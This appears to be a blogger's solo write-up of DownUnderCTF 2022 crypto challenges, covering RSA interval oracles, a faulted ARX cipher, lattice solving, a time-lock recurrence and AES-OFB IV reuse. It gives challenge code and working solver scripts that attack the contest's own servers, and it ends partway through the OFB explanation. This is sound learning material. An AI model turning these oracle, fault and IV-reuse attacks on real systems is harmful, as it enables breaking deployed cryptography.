DownUnderCTF 2022 Writeup

Mon Sep 26 2022

I participated DownUnderCTF 2022 by myself. The results were 17th/1407.

Here are my write-ups for all crypto challs except kyber. And, since there are many challs, I just paste the solver for the other category than crypto (because I'd like to refer in the future).

crypto

1337crypt v3

2 solves

1337crypt-v3.sage
from Crypto.Util.number import bytes_to_long

FLAG = open('./flag.txt', 'rb').read().strip()

D = 1337
R = RealField(D)

x = randint(1+3*3-7, (1*3*3-7)^(13*3+713+13+3*7+1-3+3-7))
alpha1 = randint(1-3*3-7, 1337*1337) + R(1+3*3-7)/randint(1+3-3-7, 1337*1337)
alpha2 = randint(1+3-3+7, 13*37*13*3+7) + R(-1+3*3-7)/randint(1+3*3*7, 1+337+13**37)
alpha3 = randint(1-3-3*7, 1+337*133*7) + R(1*3*3-7)/randint(1-3*3+7, 1*33**7+133*7)

beta1 = sin(alpha1 * x).n(D)
beta2 = cos(alpha2 * x).n(D)
beta3 = tan(alpha3 * x).n(D)

m = bytes_to_long(FLAG)
assert m.bit_length() <= x.bit_length()
while m.bit_length() != x.bit_length():
    m = (m << (-1+3*3-7)) | randint(13//37, 1337//1337)
c = x ^^ m 

print(f'{alpha1 = }')
print(f'{alpha2 = }')
print(f'{alpha3 = }')
print(f'{beta1 = }')
print(f'{beta2 = }')
print(f'{beta3 = }')
print(f'{c = }')

This chall is to find xx such that sin(α1x)=β1,cos(α2x)=β2,tan(α3x)=β3\sin(\alpha_1 x) = \beta_1, \cos(\alpha_2 x) = \beta_2, \tan(\alpha_3 x) = \beta_3, where αi,βi\alpha_i, \beta_i are given.

Simple arithmetic shows that:

α1x2πk1arcsin(β1)orπarcsin(β1)α2x2πk2arccos(β2)orarccos(β2)α3x2πk3arctan(β3)orarctan(β3)π\begin{align*} \alpha_1 x - 2\pi k_1 &\simeq \arcsin(\beta_1) &\quad\mathrm{or}\quad& \pi - \arcsin(\beta_1) \\ \alpha_2 x - 2\pi k_2 &\simeq \arccos(\beta_2) &\quad\mathrm{or}\quad& -\arccos(\beta_2) \\ \alpha_3 x - 2\pi k_3 &\simeq \arctan(\beta_3) &\quad\mathrm{or}\quad& \arctan(\beta_3) - \pi \\ \end{align*}

where kik_i are integers. \simeq means there exist numerical errors. The rhs of them has 8 patterns in total. This can be searched easily so it's assumed that the rhs of them are arcsin(β1)\arcsin(\beta_1), arccos(β2)\arccos(\beta_2), arctan(β3)\arctan(\beta_3), respectively in the following.

Those equations are linear with regard to xx and might be solved by LLL. But it didn't work as it is. Then I used the fact that the flag starts with DUCTF{ and it worked! Remark that the number of cc's bits (=778) doesn't equal to one of mm's bits (Consider the case that the first few bits are the same between xx and mm).

I used rkm0959's inequality solver.

solve.sage
from itertools import product

from Crypto.Util.number import bytes_to_long, long_to_bytes

D = 1337
R = RealField(D)

alpha1 = R("382688.000003718840762957370928334219657048504840071252989018263226986883648629049352735765207269589923429068690707732585598417261371285342932900956113960156340065674727873827170594382319143476595475658327786062528588588365234789011569313613560380958047757353077898557461668048835816899156195030884972536360965559815694251787832696791756073796676100126068701864254874470530046373944314078415476327719123")
alpha2 = R("15637.0000000000000000000000000000000000000000073407249596755993494633815978948470725770595202532938111233270822656540006827548854086357909099305933838931019150313577619230563069886151776251889782046359224864632667394933146539407828208245853609735993739377148185083846731149980246713157043706328084023440946327661078130241672626606833808343709723838524304060402271919834105020805612169606358017694056416")
alpha3 = R("29275.0000000000640306760478159122361364268852615107016525704106080086895615545710184648549454761942179678623356595579867852707677349455538454994245696487465653543975651069930536590338519688676538350247199102639964709439110478379805687129967589534757115196430034251100020849966477333439686322641356763869580696872661554589116735439860643787761928921454825557808884297326088601658418898922938739996904201")
beta1 = R("0.965482350590597357930331336732328693322339578742073734517347983738107022900479878437240803728616183527740872166110419707555902612362293470627167159630511997241207746072653515847677991057240464634863174163959352186613630940970393483122090644984824146327516779925585782449367431713140436462716606231926544190865635435305068802789385561809037048381522369403391403353483514563964854636147009339110513969645")
beta2 = R("0.919312641039301449759543236755656153255910638284013829633241595979805444268967097520473755994266515165860135737385130077610933382052195648654916587723024832651148703456409500869252608520524821467862378804471336340455738379241087436118861027054778860623168210037730515076872812158198969896476202559290795561594850736319300877512941843333101776445598926887112185986310036903702305697813449195991705718975")
beta3 = R("1.14855387625795367637526700157484262696944920546403536701593427303031683808809632650237298251670835767655247021139590568460713791448489530488025769625130549491228701922532851244586550786881004979465956996142194848926889854866759317451072626109337018933249842757205735321771354730486331102478476183417508143532011641972415188172049143718997615501480006657475224101754862855024419523910721536847865397788")
c = int(410147178282597490563358436921011911559056890980471832437263575462278293391801513339176053095601892381120900128065883405261553740060812667421703330691706989818136170627205398268591784378546378294977003032555726944174387883621263676222)

base1 = arcsin(beta1).n(D)
base1_ = (R(pi) - base1).n(D)
base2 = arccos(beta2).n(D)
base2_ = -base2
base3 = arctan(beta3).n(D)
base3_ = base3 - R(pi)


# alpha1 * xlsb - k1 * R(2 * pi) == base1 - alpha1 * xmsb
# [base1 - alpha1 * xmsb, base2 - alpha2 * xmsb, base3 - alpha3 * xmsb, x] = [x, k1, k2, k3] * mat
b1, b2, b3 = [base1_, base2_, base3_]
b1, b2, b3 = [base1, base2, base3_ + R(2 * pi)]
N = 10 ** 500  # used for RealField var to integer
M = 2 ** 1122  # parameter indicating numerical error. get it by doing experiment
for k in range(4):  # parameter that indicates how many characters are the same between x and m
    for b1, b2, b3 in product([base1, base1_], [base2, base2_], [base3, base3_]):
        mat = matrix(ZZ, 4, 4)
        mat[0, 0] = int(alpha1 * N)
        mat[1, 0] = int(-R(2 * pi * N))
        mat[0, 1] = int(alpha2 * N)
        mat[2, 1] = int(-R(2 * pi * N))
        mat[0, 2] = int(alpha3 * N)
        mat[3, 2] = int(-R(2 * pi * N))
        mat[0, 3] = 1
        xmsb = ((bytes_to_long(b"DUCTF{") << (c.bit_length() + 1 + k - 47)) ^^ c)
        lb = [-M + int(b1 * N - alpha1 * xmsb * N), -M + int(b2 * N - alpha2 * xmsb * N), -M + int(b3 * N - alpha3 * xmsb * N)] + [3]
        ub = [M + int(b1 * N - alpha1 * xmsb * N), M + int(b2 * N - alpha2 * xmsb * N), M + int(b3 * N - alpha3 * xmsb * N)] + [(1*3*3-7)^(13*3+713+13+3*7+1-3+3-7) // 2**47]
        # https://github.com/rkm0959/Inequality_Solving_with_CVP/blob/main/solver.sage
        res = solve(mat, lb, ub)
        try:
            x_rec = xmsb + int(res[2][0])
            for i in range(8):
                tmp = long_to_bytes(int(c ^^ x_rec) >> i)
                if b"DUC" in tmp:
                    print(tmp)
        except:
            continue

DUCTF{1337_tr1g0n0m3try_4nd_l4tt1c3_sk1llz_1f8a84e9a9cdef57}

rsa interval oracle i-iv

rsa-interval-oracle-i.py
#!/usr/bin/env python3

import signal, time
from os import urandom, path
from Crypto.Util.number import getPrime, bytes_to_long


FLAG = open(path.join(path.dirname(__file__), 'flag.txt'), 'r').read().strip()

N_BITS = 384
TIMEOUT = 20 * 60
MAX_INTERVALS = 384
MAX_QUERIES = 384


def main():
    p, q = getPrime(N_BITS//2), getPrime(N_BITS//2)
    N = p * q
    e = 0x10001
    d = pow(e, -1, (p - 1) * (q - 1))

    secret = bytes_to_long(urandom(N_BITS//9))
    c = pow(secret, e, N)

    print(N)
    print(c)

    intervals = []
    queries_used = 0

    while True:
        print('1. Add interval\n2. Request oracle\n3. Get flag')
        choice = int(input('> '))

        if choice == 1:
            if len(intervals) >= MAX_INTERVALS:
                print('No more intervals allowed!')
                continue

            lower = int(input(f'Lower bound: '))
            upper = int(input(f'Upper bound: '))
            intervals.insert(0, (lower, upper))

        elif choice == 2:
            queries = input('queries: ')
            queries = [int(c.strip()) for c in queries.split(',')]
            queries_used += len(queries)
            if queries_used > MAX_QUERIES:
                print('No more queries allowed!')
                continue

            results = []
            for c in queries:
                m = pow(c, d, N)
                for i, (lower, upper) in enumerate(intervals):
                    in_interval = lower < m < upper
                    if in_interval:
                        results.append(i)
                        break
                else:
                    results.append(-1)

            print(','.join(map(str, results)), flush=True)

            time.sleep(MAX_INTERVALS * (MAX_QUERIES // N_BITS - 1))
        elif choice == 3:
            secret_guess = int(input('Enter secret: '))
            if secret == secret_guess:
                print(FLAG)
            else:
                print('Incorrect secret :(')
            exit()

        else:
            print('Invalid choice')


if __name__ == '__main__':
    signal.alarm(TIMEOUT)
    main()

The series of these challs are almost the same, except that MAX_INTERVALS and MAX_QUERIES are different.

rsa interval oracle i

79 solves

MAX_INTERVALS = 384
MAX_QUERIES = 384

We can find secret by binary search.

solve.py
from pwn import remote

io = remote("2022.ductf.dev", 30008)

N = int(io.recvline())
c = int(io.recvline())


def add_interval(lb: int, ub: int):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"Lower bound: ", str(lb).encode())
    io.sendlineafter(b"Upper bound: ", str(ub).encode())


def query():
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"queries: ", str(c).encode())
    return int(io.recvline())


lb = 0
ub = N
prev_mid = 0
while True:
    mid = (lb + ub) // 2
    if mid == prev_mid:
        break
    prev_mid = mid
    add_interval(lb, mid)
    prev_mid = mid
    if query() == 0:
        ub = mid
    else:
        lb = mid
    print(mid)


io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"Enter secret: ", str(mid).encode())
print(io.recvline().strip())

DUCTF{d1d_y0u_us3_b1n4ry_s34rch?}

yes.

rsa interval oracle ii

36 solves

MAX_INTERVALS = 1
MAX_QUERIES = 384

We can set only 1 interval, and can't use the same method as i.

Let xx be secret, which we want to find. I set interval to (0,224×256384//9)(0, 2^{24} \times 256^{384 // 9}), whose upper bound is smaller than NN and bigger than secret. Let this upper bound be uu.

First I tried to find kk such that xk<uxk < u and x(k+1)ux(k+1) \ge u. From this we can say that u/(k+1)x<u/ku / (k+1) \le x < u / k.

Next I tried to find ll such that xl<Nxl < N and x(l+1)Nx(l+1) \ge N, where l>kl > k. Accordingly N/(l+1)x<N/lN / (l+1) \le x < N / l.

Similarly I found lil_i such that xli<2iN<x(li+1)x l_i < 2^i N < x(l_i + 1). By gradually making ii bigger, we can narrow the range of xx.

That's not smart...

solve.py
from pwn import remote

io = remote("2022.ductf.dev", 30011)

e = 0x10001

N = int(io.recvline())
c = int(io.recvline())


def add_interval(lb: int, ub: int):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"Lower bound: ", str(lb).encode())
    io.sendlineafter(b"Upper bound: ", str(ub).encode())


def query(payload: int):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"queries: ", str(payload).encode())
    ret = io.recvline()
    try:
        return int(ret)
    except:
        return None


lb = 0
ub = 2 ** 24 * 256 ** (384 // 9)
add_interval(lb, ub)


def bisect(lb, ub, sig_lb):
    prev_mid = None
    while True:
        mid = (lb + ub) // 2
        if mid == prev_mid:
            break
        prev_mid = mid
        tmp = query(int(pow(mid, e, N) * c))
        if tmp is None:
            return lb, ub
        elif tmp == 0:
            if sig_lb == 1:
                lb = mid
            else:
                ub = mid
        else:
            if sig_lb == 1:
                ub = mid
            else:
                lb = mid
        print(lb, ub, mid)
    return mid

thres0 = bisect(0, 2 ** 30, 1)
# ub // (thres0 + 1) < secret < ub // thres0
secret_lb = ub // (thres0 + 1)
secret_ub = ub // thres0
thres1 = bisect(N // secret_ub, N // secret_lb, -1)
# secret * thres1 < N < secret * (thres1 + 1)
secret_lb = max(secret_lb, N // (thres1 + 1))
secret_ub = min(secret_ub, N // thres1)

for j in range(20, 280, 20):
    i = 2**j
    thres = bisect(i * N // secret_ub, i * N // secret_lb, -1)
    # secret * thres < i * N < secret * (thres + 10)
    secret_lb = max(secret_lb, i * N // (thres + 10))
    secret_ub = min(secret_ub, i * N // thres)

i = 2**280
thres = bisect(i * N // secret_ub, i * N // secret_lb, -1)
# secret * thres < i * N < secret * (thres + 10)  # I don't know why thres + ''10''
secret_lb = max(secret_lb, i * N // (thres[1] + 10))
secret_ub = min(secret_ub, i * N // thres[0])

for i in range(secret_lb, secret_ub + 1):
    if pow(i, e, N) == c:
        print(i)
        io.sendlineafter(b"> ", b"3")
        io.sendlineafter(b"Enter secret: ", str(i).encode())
        print(io.recvline().strip())
        break

DUCTF{Manger_w0uld_b3_pr0ud_0f_y0u}

manger...? I don't know...

rsa interval oracle iii

23 solves

MAX_INTERVALS = 4
MAX_QUERIES = 4700

It seems to be easier than ii, but time.sleep(MAX_INTERVALS * (MAX_QUERIES // N_BITS - 1)) prevents me from using the same method as ii. I used the same solver as iv, I skipped explanation here.

DUCTF{rsa_1nt3rv4l_0r4cl3_1s_n0_m4tch_f0r_y0u!}

rsa interval oracle iv

5 solves

MAX_INTERVALS = 4
MAX_QUERIES = 4700

This is the same as iii, but intervals are fixed:

intervals = [(0, 2**(N_BITS - 11)), (0, 2**(N_BITS - 10)), (0, 2**(N_BITS - 9)), (0, 2**(N_BITS - 8))]

It seems that batched queries are required. So I sent query like 2riec2^{r_i e} c for many rir_i, where rir_i is generated randomly. This query shows which interval contains or doesn't contain 2rixmodN2^{r_i} x \mod N. When 2rix2^{r_i} x is in one of intervals, intervals[j][0] <2rixkiN<< 2^{r_i} x - k_i N < intervals[j][1], where intervals[j][k] is relatively smaller than NN. This type of equation might be solved by LLL as you know. My experiments showed that we need over around 50 numbers which are in one of intervals. All I could do was pray... I got the flag by a few trial.

I used rkm0959's inequality solver.

solve.py
from collections import Counter
from pwn import remote

N_BITS = 384

io = remote("2022.ductf.dev", 30030)

e = 0x10001

N = int(io.recvline())
c = int(io.recvline())


def add_interval(lb: int, ub: int):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"Lower bound: ", str(lb).encode())
    io.sendlineafter(b"Upper bound: ", str(ub).encode())


def query(payload: list[int]):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"queries: ", ",".join(map(str, payload)).encode())
    ret = io.recvline().decode().strip()
    try:
        return list(map(int, ret.split(",")))
    except:
        return None

intervals = [(0, 2**(N_BITS - 11)), (0, 2**(N_BITS - 10)), (0, 2**(N_BITS - 9)), (0, 2**(N_BITS - 8))]

inp_list = [int(pow(2, randint(0, N - 1), N)) for _ in range(4700)]
ret = query([pow(inp, e, N) * c for inp in inp_list])

# 2 ** i * secret - ki * N
# [k1, k2, ..., kM, secret] * mat
cnt = Counter(ret)
M = cnt[0] + cnt[1] + cnt[2] + cnt[3]
mat = matrix(ZZ, M+1, M+1)
for i in range(M):
    mat[i, i] = -N
mat[M, M] = 1
idx = 0
lb = []
ub = []
for i, b in enumerate(ret):
    if b != -1:
        mat[M, idx] = inp_list[i]
        idx += 1
        if b == 0:
            lb.append(0)
            ub.append(2**(N_BITS - 11))
        elif b == 1:
            lb.append(2**(N_BITS - 11))
            ub.append(2**(N_BITS - 10))
        elif b == 2:
            lb.append(2**(N_BITS - 10))
            ub.append(2**(N_BITS - 9))
        elif b == 3:
            lb.append(2**(N_BITS - 9))
            ub.append(2**(N_BITS - 8))
        else:
            raise RuntimeError()
lb.append(256**41)
ub.append(256**42)

# https://github.com/rkm0959/Inequality_Solving_with_CVP/blob/main/solver.sage
res = solve(mat, lb, ub)

secret_rec = int(res[2][-1])
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"Enter secret: ", str(secret_rec).encode())
print(io.recvline().strip())

io.close()

DUCTF{rsa_1nt3rv4l_0r4cl3_1s_s3ri0usly_n0_m4tch_f0r_y0u...94b2a797eb5e0105}

faulty arx

11 solves

faulty_arx.py
#!/usr/bin/env python3

import os
import signal
import random


FLAG = open(os.path.join(os.path.dirname(__file__), 'flag.txt'), 'r').read().strip()


def rol(x, d):
    return ((x << d) | (x >> (32 - d))) & 0xffffffff

def bytes_to_words(B):
    return [int.from_bytes(B[i:i+4], 'little') for i in range(0, len(B), 4)]

def words_to_bytes(W):
    return b''.join([w.to_bytes(4, 'little') for w in W])

class faulty_arx:
    def __init__(self, key, nonce):
        self.ROUNDS = 20
        self.counter = 0
        self.f = 0
        self.key = key
        self.nonce = nonce

    def _init_state(self, key, nonce, counter):
        state = bytes_to_words(b'downunderctf2022')
        state += bytes_to_words(key)
        state += [counter] + bytes_to_words(nonce)
        return state

    def _QR(self, S, a, b, c, d):
        S[a] = (S[a] + S[b]) & 0xffffffff; S[d] ^= S[a]; S[d] = rol(S[d], 16)
        S[c] = (S[c] + S[d]) & 0xffffffff; S[b] ^= S[c]; S[b] = rol(S[b], 12 ^ self.f)
        S[a] = (S[a] + S[b]) & 0xffffffff; S[d] ^= S[a]; S[d] = rol(S[d], 8)
        S[c] = (S[c] + S[d]) & 0xffffffff; S[b] ^= S[c]; S[b] = rol(S[b], 7)

    def block(self):
        initial_state = self._init_state(self.key, self.nonce, self.counter)
        state = initial_state.copy()
        for r in range(0, self.ROUNDS, 2):
            self._QR(state, 0, 4, 8, 12)
            self._QR(state, 1, 5, 9, 13)
            self._QR(state, 2, 6, 10, 14)
            self._QR(state, 3, 7, 11, 15)

            x = 0
            if r == self.ROUNDS - 2:
                x = random.randint(0, 4)

            if x == 1:
                self.f = 1
            self._QR(state, 0, 5, 10, 15)
            self.f = 0

            if x == 2:
                self.f = 1
            self._QR(state, 1, 6, 11, 12)
            self.f = 0

            if x == 3:
                self.f = 1
            self._QR(state, 2, 7, 8, 13)
            self.f = 0

            if x == 4:
                self.f = 1
            self._QR(state, 3, 4, 9, 14)
            self.f = 0

        out = [(i + s) & 0xffffffff for i, s in zip(initial_state, state)]
        self.counter += 1
        return words_to_bytes(out)

    def stream(self, length):
        out = bytearray()
        while length > 0:
            block = self.block()
            t = min(length, len(block))
            out += block[:t]
            length -= t
        return out


def main():
    key = os.urandom(16).hex().encode()
    nonce = os.urandom(12)
    print(nonce.hex())
    out = set()
    for _ in range(20):
        cipher = faulty_arx(key, nonce)
        out.add(cipher.stream(64).hex())
    for c in out:
        print(c)
    key_guess = input('key> ')
    if key_guess == key.decode():
        print(FLAG)
    else:
        print('Incorrect key!')


if __name__ == '__main__':
    signal.alarm(180)
    main()

We are given 5 outputs. One of them is correct one (x=0x = 0) and the others contain error in faulty_arx._QR calculation.

First we need to reveal which output is calculated from what xx. Since args of last 4 faulty_arx._QR call are independent and different S[b] causes different S[a] in ._QR, we can distinguish them by only seeing S[0], S[1], S[2], S[3].

Here consider ._QR funciton. Remark that we know the final S[a] and S[d], because we know initial_state[:4] and initial_state[12: 16]. I paid attention to the following:

S[b] = rol(S[b], 12 ^ self.f)
S[a] = (S[a] + S[b])
# S[a] won't change hereafter

This can be described as:

x+rol(y,12)=Sax+rol(y,13)=Sa\begin{align*} x + \mathrm{rol}(y, 12) &= S_a \\ x + \mathrm{rol}(y, 13) &= S_a' \end{align*}

where xx is the previous S[b] and Sa,SaS_a, S_a' are the final S[a] and faulted S[a], respectively. Since we know Sa,SaS_a, S_a', we can find x,yx, y.

Next I focused on the following:

S[b] ^= S[c]
S[b] = rol(S[b], 7)
# S[b], S[c] won't change hereafter

This can be described as:

Sb=rol(rol(y,12)Sc,7)Sb=rol(rol(y,12)Sc,7)\begin{align*} S_b &= \mathrm{rol}(\mathrm{rol}(y, 12) \oplus S_c, 7) \\ S_b' &= \mathrm{rol}(\mathrm{rol}(y, 12) \oplus S_c, 7) \\ \end{align*}

Note that ScS_c is not affected by self.f.

The fact that key consists of [0-9a-f] narrows the candidate of ScS_c'. There are 16416^4 patterns. For each ScS_c, I calculated Sb,SbS_b, S_b' and check whether there are any inconsistencies about that fact again. The number of the candidates are diminished to around 16.

I used the above for each a,b,c,da, b, c, d and then found the correct key by full search.

(However, the solver often fails to work... I don't know why...)

solve.py
import random
from binascii import unhexlify
from collections import Counter
from itertools import product

from pwn import remote
from z3 import *


def rol(x, d):
    return ((x << d) | (x >> (32 - d))) & 0xffffffff

def rol_z3(x, d):
    return ((x << d) | (LShR(x, 32 - d))) & 0xffffffff

def bytes_to_words(B):
    return [int.from_bytes(B[i:i+4], 'little') for i in range(0, len(B), 4)]

def words_to_bytes(W):
    return b''.join([w.to_bytes(4, 'little') for w in W])



class faulty_arx:
    def __init__(self, key, nonce):
        self.ROUNDS = 20
        self.counter = 0
        self.f = 0
        self.key = key
        self.nonce = nonce

    def _init_state(self, key, nonce, counter):
        state = bytes_to_words(b'downunderctf2022')
        state += bytes_to_words(key)
        state += [counter] + bytes_to_words(nonce)
        return state

    def _QR(self, S, a, b, c, d):
        S[a] = (S[a] + S[b]) & 0xffffffff; S[d] ^= S[a]; S[d] = rol(S[d], 16)
        S[c] = (S[c] + S[d]) & 0xffffffff; S[b] ^= S[c]; S[b] = rol(S[b], 12 ^ self.f)
        S[a] = (S[a] + S[b]) & 0xffffffff; S[d] ^= S[a]; S[d] = rol(S[d], 8)
        S[c] = (S[c] + S[d]) & 0xffffffff; S[b] ^= S[c]; S[b] = rol(S[b], 7)

    def block(self, x=None):
        initial_state = self._init_state(self.key, self.nonce, self.counter)
        state = initial_state.copy()
        for r in range(0, self.ROUNDS, 2):
            self._QR(state, 0, 4, 8, 12)
            self._QR(state, 1, 5, 9, 13)
            self._QR(state, 2, 6, 10, 14)
            self._QR(state, 3, 7, 11, 15)

            if x is None:
                x = 0
                if r == self.ROUNDS - 2:
                    x = random.randint(0, 4)

            if x == 1:
                self.f = 1
            self._QR(state, 0, 5, 10, 15)
            self.f = 0

            if x == 2:
                self.f = 1
            self._QR(state, 1, 6, 11, 12)
            self.f = 0

            if x == 3:
                self.f = 1
            self._QR(state, 2, 7, 8, 13)
            self.f = 0

            if x == 4:
                self.f = 1
            self._QR(state, 3, 4, 9, 14)
            self.f = 0

        out = [(i + s) & 0xffffffff for i, s in zip(initial_state, state)]
        self.counter += 1
        return words_to_bytes(out)

    def stream(self, length, x=None):
        out = bytearray()
        while length > 0:
            block = self.block(x=x)
            t = min(length, len(block))
            out += block[:t]
            length -= t
        return out


valid_chars = [0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66]

io = remote("2022.ductf.dev", 30007)
nonce = unhexlify(io.recvline().strip().decode())
enc_list = []
for _ in range(5):
    enc_list.append(bytes_to_words(unhexlify(io.recvline().strip().decode())))

# words の...
# [0] が異なる: x = 1
# [1] が異なる: x = 2
# [2] が異なる: x = 3
# [3] が異なる: x = 4
initial_state = bytes_to_words(b'downunderctf2022') + [None] * 8 + [0] + bytes_to_words(nonce)
cnt = Counter(enc[0] for enc in enc_list)
enc1 = list(filter(lambda x: x[0] == cnt.most_common()[1][0], enc_list))[0]
cnt = Counter(enc[1] for enc in enc_list)
enc2 = list(filter(lambda x: x[1] == cnt.most_common()[1][0], enc_list))[0]
cnt = Counter(enc[2] for enc in enc_list)
enc3 = list(filter(lambda x: x[2] == cnt.most_common()[1][0], enc_list))[0]
cnt = Counter(enc[3] for enc in enc_list)
enc4 = list(filter(lambda x: x[3] == cnt.most_common()[1][0], enc_list))[0]
enc0 = list(filter(lambda x: x not in [enc1, enc2, enc3, enc4], enc_list))[0]


def enumerate_cands(enc, enc_fault, a, b, c, d):
    assert 0 <= a < 4
    assert 12 <= d < 16
    sa_fault = (enc_fault[a] - initial_state[a]) & 0xffffffff
    sa = (enc[a] - initial_state[a]) & 0xffffffff
    diff = (sa_fault - sa) & 0xffffffff

    # Though there are multiple solutions, I picked one of them.
    sb12 = BitVec("sb", 32)
    s = Solver()
    s.add((rol_z3(sb12, 1) - sb12) & 0xffffffff == diff)
    s.check()
    m = s.model()
    sb12 = m[sb12].as_long()

    cands = []
    for ns in product(valid_chars, repeat=4):
        keyc = ns[0] * 256**0 + ns[1] * 256**1 + ns[2] * 256**2 + ns[3] * 256**3
        sc_last = (enc[c] - keyc) & 0xffffffff
        sc_last_fault = (enc_fault[c] - keyc) & 0xffffffff
        sb_last = rol(sb12 ^ sc_last, 7)
        sb_last_fault = rol(rol(sb12, 1) ^ sc_last_fault, 7)
        tmp = (enc[b] - sb_last) & 0xffffffff
        tmp_fault = (enc_fault[b] - sb_last_fault) & 0xffffffff
        valid = True
        for i in range(0, 32, 8):
            if (tmp >> i) & 0xff not in valid_chars:
                valid = False
        if tmp != tmp_fault:
            valid = False
        if valid:
            cands.append((tmp, keyc))
    return cands


key05_list = enumerate_cands(enc0, enc4, 3, 4, 9, 14)
key34_list = enumerate_cands(enc0, enc3, 2, 7, 8, 13)
key27_list = enumerate_cands(enc0, enc2, 1, 6, 11, 12)
key16_list = enumerate_cands(enc0, enc1, 0, 5, 10, 15)

for key05, key34, key27, key16 in product(key05_list, key34_list, key27_list, key16_list):
    key0, key5 = key05
    key3, key4 = key34
    key2, key7 = key27
    key1, key6 = key16
    tmp_key = words_to_bytes([key0, key1, key2, key3, key4, key5, key6, key7])
    cipher = faulty_arx(tmp_key, nonce)
    if bytes_to_words(cipher.stream(64, x=0)) == enc0:
        print("found!")
        io.sendlineafter(b"key> ", tmp_key)
        print(io.recvline().strip())
        break
io.close()

DUCTF{las3r_b34ms_4nd_g4mm4_r4ys_p0s3_a_s3r10us_thr34t_t0_cryp70gr4phy!1!!}

time locked

18 solves

time-locked.py
from hashlib import sha256
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES


ct = bytes.fromhex('85534f055c72f11369903af5a8ac64e2f4cbf27759803041083d0417b5f0aaeac0490f018b117dd4376edd6b1c15ba02')


p = 275344354044844896633734474527970577743
a = [2367876727, 2244612523, 2917227559, 2575298459, 3408491237, 3106829771, 3453352037]
α = [843080574448125383364376261369231843, 1039408776321575817285200998271834893, 712968634774716283037350592580404447, 1166166982652236924913773279075312777, 718531329791776442172712265596025287, 766989326986683912901762053647270531, 985639176179141999067719753673114239]


def f(n):
    if n < len(α):
        return α[n]

    n -= len(α) - 1
    t = α[::-1]
    while n > 0:
        x = sum([a_ * f_ for a_, f_ in zip(a, t)]) % p
        t = [x] + t[:-1]
        n -= 1

    return t[0]


n = 2**(2**1337)
key = sha256(str(f(n)).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = unpad(aes.decrypt(ct), 16)
print(flag.decode())

f(n) is just a linear calculation. This can be described by a matrix MM as follows:

tn=Mnt0t_n = M^n t_0

where

M=(a0a1a5a6100000000010)M = \left( \begin{array}{ccccc} a_0 & a_1 & \cdots & a_5 & a_6 \\ 1 & 0 & \cdots & 0 & 0 \\ \vdots & \vdots & \ddots & \vdots & \vdots\\ 0 & 0 & \cdots & 0 & 0 \\ 0 & 0 & \cdots & 1 & 0 \\ \end{array} \right)

sagemath can calculate the multiplicative order of MM by M.multiplicative_order(). So all we need is calculate n = pow(2, 2**1337, order) and f(n)

solve.sage
from hashlib import sha256

from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES


ct = bytes.fromhex('85534f055c72f11369903af5a8ac64e2f4cbf27759803041083d0417b5f0aaeac0490f018b117dd4376edd6b1c15ba02')


p = 275344354044844896633734474527970577743
a = [2367876727, 2244612523, 2917227559, 2575298459, 3408491237, 3106829771, 3453352037]
alpha = [843080574448125383364376261369231843, 1039408776321575817285200998271834893, 712968634774716283037350592580404447, 1166166982652236924913773279075312777, 718531329791776442172712265596025287, 766989326986683912901762053647270531, 985639176179141999067719753673114239]


mat = matrix(GF(p), 7, 7)
for i in range(7):
    mat[0, i] = a[i]
for i in range(6):
    mat[i+1, i] = 1
t = vector(GF(p), alpha[::-1])

order = mat.multiplicative_order()

n = int(pow(2, 2**1337, order))
fn = (mat ** (n - 6) * t)[0]
key = sha256(str(fn).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = unpad(aes.decrypt(ct), 16)
print(flag.decode())

DUCTF{p4y_t0_w1n_91ea0a7b4b688fc8}

cheap ring theory

101 solves

crt.sage
p = 55899879511190230528616866117179357211
V = GF(p)^3
R.<x> = PolynomialRing(GF(p))
f = x^3 + 36174005300402816514311230770140802253*x^2 + 35632245244482815363927956306821829684*x + 10704085182912790916669912997954900147
Q = R.quotient(f)

def V_pow(A, n):
    return V([a^n for a in list(A)])

n, m = randint(1, p), randint(1, p)
A = Q.random_element()
B = Q.random_element()
C = A^n * B^m

print(' '.join(map(str, list(A))))
print(' '.join(map(str, list(B))))
print(' '.join(map(str, list(C))))

phi_A = V(list(map(int, input().split())))
phi_B = V(list(map(int, input().split())))
phi_C = V(list(map(int, input().split())))

check_phi_C = V_pow(phi_A, n).pairwise_product(V_pow(phi_B, m))

if phi_C == check_phi_C:
    print(open('./flag.txt', 'r').read().strip())

When all inputs are 0, phi_C == check_phi_C...

DUCTF{CRT_e4sy_as_0ne_tw0_thr3e}

oracle for block cipher enthusiasts

102 solves

ofb.py
#!/usr/bin/env python3

from os import urandom, path
from Crypto.Cipher import AES


FLAG = open(path.join(path.dirname(__file__), 'flag.txt'), 'r').read().strip()
MESSAGE = f'Decrypt this... {urandom(300).hex()} {FLAG}'


def main():
    key = urandom(16)
    for _ in range(2):
        iv = bytes.fromhex(input('iv: '))
        aes = AES.new(key, iv=iv, mode=AES.MODE_OFB)
        ct = aes.encrypt(MESSAGE.encode())
        print(ct.hex())


if __name__ == '__main__':
    main()

We can encrypt MESSAGE 2 times for different iv.

I sent iv as 0000.... Since we know the first 16 bytes of MESSAGE, we can find AES(iv) by xor of plaintext and ciphertext (see wikipedia). Next I sent iv as AES(0000...), which is found now.

In general, OFB mode encrypt i-th block of MESSAGE (=mi=m_i) like:

miAESi+1(iv)=ci(0)m_i \oplus \mathrm{AES}^{i+1}(\mathrm{iv}) = c^{(0)}_i

where ci(0)c^{(0)}_i is i-th block of given ciphertext. In the situation, we also have

miAESi+2(iv)=ci(1)m_i \oplus \mathrm{AES}^{i+2}(\mathrm{iv}) = c^{(1)}_i

